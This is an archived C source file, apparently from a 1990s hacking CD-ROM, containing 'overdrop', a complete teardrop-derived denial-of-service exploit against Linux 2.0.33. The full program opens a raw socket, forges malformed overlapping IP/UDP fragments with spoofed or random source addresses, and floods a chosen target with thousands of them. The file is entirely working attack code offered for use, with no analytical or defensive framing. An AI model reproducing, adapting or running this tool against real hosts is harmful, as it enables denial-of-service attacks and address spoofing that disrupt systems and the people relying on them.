home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / overdrop.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  4KB  |  151 lines

  1. // overdrop by lcamtuf [Linux 2.0.33 printk abuse]
  2. // ------------------------------------------------
  3. // based on (reaped from) teardrop by route|daemon9
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <unistd.h>
  8. #include <string.h>
  9. #include <netdb.h>
  10. #include <netinet/in.h>
  11. #include <netinet/udp.h>
  12. #include <arpa/inet.h>
  13. #include <sys/types.h>
  14. #include <sys/time.h>
  15. #include <sys/socket.h>
  16.  
  17. #define IP_MF    0x2000
  18. #define IPH    0x14
  19. #define UDPH    0x8
  20. #define PADDING    0x1c
  21. #define MAGIC    0x3
  22. #define COUNT    0xBEEF
  23. #define FRAG2    0xFFFF
  24.  
  25. void usage(char *name) {
  26.   fprintf(stderr,"%s dst_ip [ -n how_many ] [ -s src_ip ] [ -x ] (use -x for express delivery).\n",name);
  27.   exit(0);
  28. }
  29.  
  30. u_long name_resolve(char *host_name) {
  31.   struct in_addr addr;
  32.   struct hostent *host_ent;
  33.   if ((addr.s_addr=inet_addr(host_name))==-1) {
  34.     if (!(host_ent=gethostbyname(host_name))) return (0);
  35.     bcopy(host_ent->h_addr,(char *)&addr.s_addr,host_ent->h_length);
  36.   }
  37.   return (addr.s_addr);
  38. }
  39.  
  40.  
  41. void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt) {
  42.   u_char *packet=NULL,*p_ptr=NULL;
  43.   u_char byte;
  44.   struct sockaddr_in sin;
  45.   sin.sin_family=AF_INET;
  46.   sin.sin_port=src_prt;
  47.   sin.sin_addr.s_addr=dst_ip;
  48.   packet=(u_char *)malloc(IPH+UDPH+PADDING);
  49.   p_ptr=packet;
  50.   bzero((u_char *)p_ptr,IPH+UDPH+PADDING);
  51.   byte=0x45;
  52.   memcpy(p_ptr,&byte,sizeof(u_char));
  53.   p_ptr+=2;
  54.   *((u_short *)p_ptr)=htons(IPH+UDPH+PADDING);
  55.   p_ptr+=2;
  56.   *((u_short *)p_ptr)=htons(242);
  57.   p_ptr+=2;
  58.   *((u_short *)p_ptr)|=htons(IP_MF);
  59.   p_ptr+=2;
  60.   *((u_short *)p_ptr)=0x40;
  61.   byte=IPPROTO_UDP;
  62.   memcpy(p_ptr+1,&byte,sizeof(u_char));
  63.   p_ptr+=4;
  64.   *((u_long *)p_ptr)=src_ip;
  65.   p_ptr+=4;
  66.   *((u_long *)p_ptr)=dst_ip;
  67.   p_ptr+=4;
  68.   *((u_short *)p_ptr)=htons(src_prt);
  69.   p_ptr+=2;
  70.   *((u_short *)p_ptr)=htons(dst_prt);
  71.   p_ptr+=2;
  72.   *((u_short *)p_ptr)=htons(8+PADDING);
  73.   if (sendto(sock,packet,IPH+UDPH+PADDING,0,(struct sockaddr *)&sin,
  74.       sizeof(struct sockaddr))==-1) {
  75.     perror("\nsendto");
  76.     free(packet);
  77.     exit(1);
  78.   }
  79.   p_ptr=&packet[2];
  80.   *((u_short *)p_ptr)=htons(IPH+MAGIC+1);
  81.   p_ptr+=4;
  82.   *((u_short *)p_ptr)=htons(FRAG2);
  83.   if (sendto(sock,packet,IPH+MAGIC+1,0,(struct sockaddr *)&sin,
  84.       sizeof(struct sockaddr))==-1) {
  85.     perror("\nsendto");
  86.     free(packet);
  87.     exit(1);
  88.   }
  89.   free(packet);
  90. }
  91.  
  92.  
  93. int main(int argc, char **argv) {
  94.   int one=1,count=0,i,rip_sock,lag=500;
  95.   u_long  src_ip=0,dst_ip=0;
  96.   u_short src_prt=0,dst_prt=0;
  97.   struct in_addr addr;
  98.   fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]\n\n");
  99.   if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
  100.     perror("raw socket");
  101.     exit(1);
  102.   }
  103.   if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) {
  104.     perror("IP_HDRINCL");
  105.     exit(1);
  106.   }
  107.   if (argc < 2) usage(argv[0]);
  108.   if (!(dst_ip=name_resolve(argv[1]))) {
  109.     fprintf(stderr,"Can't resolve destination address.\n");
  110.     exit(1);
  111.   }
  112.   while ((i=getopt(argc,argv,"s:n:x"))!=EOF) {
  113.     switch (i) {
  114.       case 'n':
  115.         count   = atoi(optarg);
  116.         break;
  117.       case 's':
  118.         if (!(src_ip=name_resolve(optarg))) {
  119.           fprintf(stderr,"Can't resolve source address.\n");
  120.           exit(1);
  121.         }
  122.     break;
  123.       case 'x':
  124.         lag=0;
  125.         break;
  126.       default:
  127.         usage(argv[0]);
  128.         break;
  129.     }
  130.   }
  131.   srandom((unsigned)(time((time_t)0)));
  132.   if (!count) count=COUNT;
  133.   fprintf(stderr,"Sending oversized packets:\nFrom: ");
  134.   if (!src_ip) fprintf(stderr,"       (random)"); else {
  135.     addr.s_addr = src_ip;
  136.     fprintf(stderr,"%15s",inet_ntoa(addr));
  137.   }
  138.   addr.s_addr = dst_ip;
  139.   fprintf(stderr,"\n  To: %15s\n",inet_ntoa(addr));
  140.   fprintf(stderr," Amt: %5d\n",count);
  141.   fprintf(stderr,"[ ");
  142.   for (i=0;i<count;i++) {
  143.     if (!src_ip) send_frags(rip_sock,rand(),dst_ip,rand(),rand()); else
  144.       send_frags(rip_sock,src_ip,dst_ip,rand(),rand());
  145.     fprintf(stderr, "b00z ");
  146.     usleep(lag);
  147.   }
  148.   fprintf(stderr, "]\n");
  149.   return (0);
  150. }
  151.